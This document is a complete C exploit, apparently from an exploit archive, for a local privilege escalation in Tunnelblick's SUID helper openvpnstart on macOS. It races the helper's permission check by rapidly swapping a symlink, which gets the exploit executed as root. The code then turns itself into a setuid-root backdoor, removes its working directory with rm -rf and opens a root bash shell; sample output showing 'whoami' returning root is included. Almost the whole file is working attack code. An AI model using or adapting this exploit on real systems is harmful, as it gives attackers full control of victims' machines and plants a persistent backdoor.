Tunnelblick - Local Privilege Escalation (1)

/*
 * ==== Pwnnel Blicker ====
 * =                      =
 * =        zx2c4         =
 * =                      =
 * ========================
 *
 * Tunnel Blick, a widely used OpenVPN manager for OSX
 * comes with a nice SUID executable that has more holes
 * than you care to count. It's a treasure chest of local
 * roots. I picked one that looked interesting, and here
 * we have Pwnnel Blicker.
 *
 * Tunnel Blick will run any executable that has 744
 * permissions and is owned by root:root. Probably we
 * could find a way to exploit an already existing 744
 * executable, but this would be too easy. So instead, we
 * take advantage of a race condition between checking the
 * file permissions on the executable and actually running
 * it.
 *
 * Usage:
 * $ ./a.out 
 * [+] Creating vulnerable directory.
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
 * [+] Writing pid and executing vulnerable program.
 * [+] Running toggler.
 * [+] Making backdoor.
 * [+] Cleaning up.
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid
 * [+] Complete. Run this again to get root.
 * Killed: 9
 *
 * $ ./a.out 
 * [+] Getting root.
 * # whoami
 * root
 *
 */


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/stat.h>

int main(int argc, char *argv[])
{
	char dir[512];
	char script[512];
	char command[512];
	char pid_file[512];
	char path[512];
	char self[512];
	uint32_t size;
	pid_t pid, pid2;
	FILE *file;
	
	snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME"));
	snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir);

	/* Oh god, do I miss /proc/self/exe. */
	if (getenv("PWNPATH"))
		strcpy(self, getenv("PWNPATH"));
	else {
		size = sizeof(path);
		_NSGetExecutablePath(path, &size);
		realpath(path, self);
		setenv("PWNPATH", self, 1);
	}

	if (!geteuid()) {
		file = fopen(pid_file, "r");
		if (file) {	
			printf("[+] Making backdoor.\n");
			chown(self, 0, 0);
			chmod(self, S_ISUID | S_IXOTH);

			printf("[+] Cleaning up.\n");
			fscanf(file, "%d %d", &pid, &pid2);
			fclose(file);
			snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir);
			system(command);
		
			printf("[+] Complete. Run this again to get root.\n");
			kill(pid2, 9);
			kill(pid, 9);
			return 0;
		}
		printf("[+] Getting root.\n");
		setuid(0);
		setgid(0);
		execl("/bin/bash", "bash", NULL);
	}


	printf("[+] Creating vulnerable directory.\n");
	snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir);
	system(command);

	pid = fork();
	if (!pid) {
		printf("[+] Running toggler.\n");
		snprintf(script, sizeof(script), "%s/connected.sh", dir);
		for (;;) {
			unlink(script);
			symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script);
			unlink(script);
			symlink(self, script);
		}
	} else {
		printf("[+] Writing pid and executing vulnerable program.\n");
		file = fopen(pid_file, "w");
		fprintf(file, "%d %d", pid, getpid());
		fclose(file);
		for (;;) {
			if (fork())
				wait(NULL);
			else {
				close(0);
				close(2);
				execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL);
			}
		}
	}

	return 0;	
}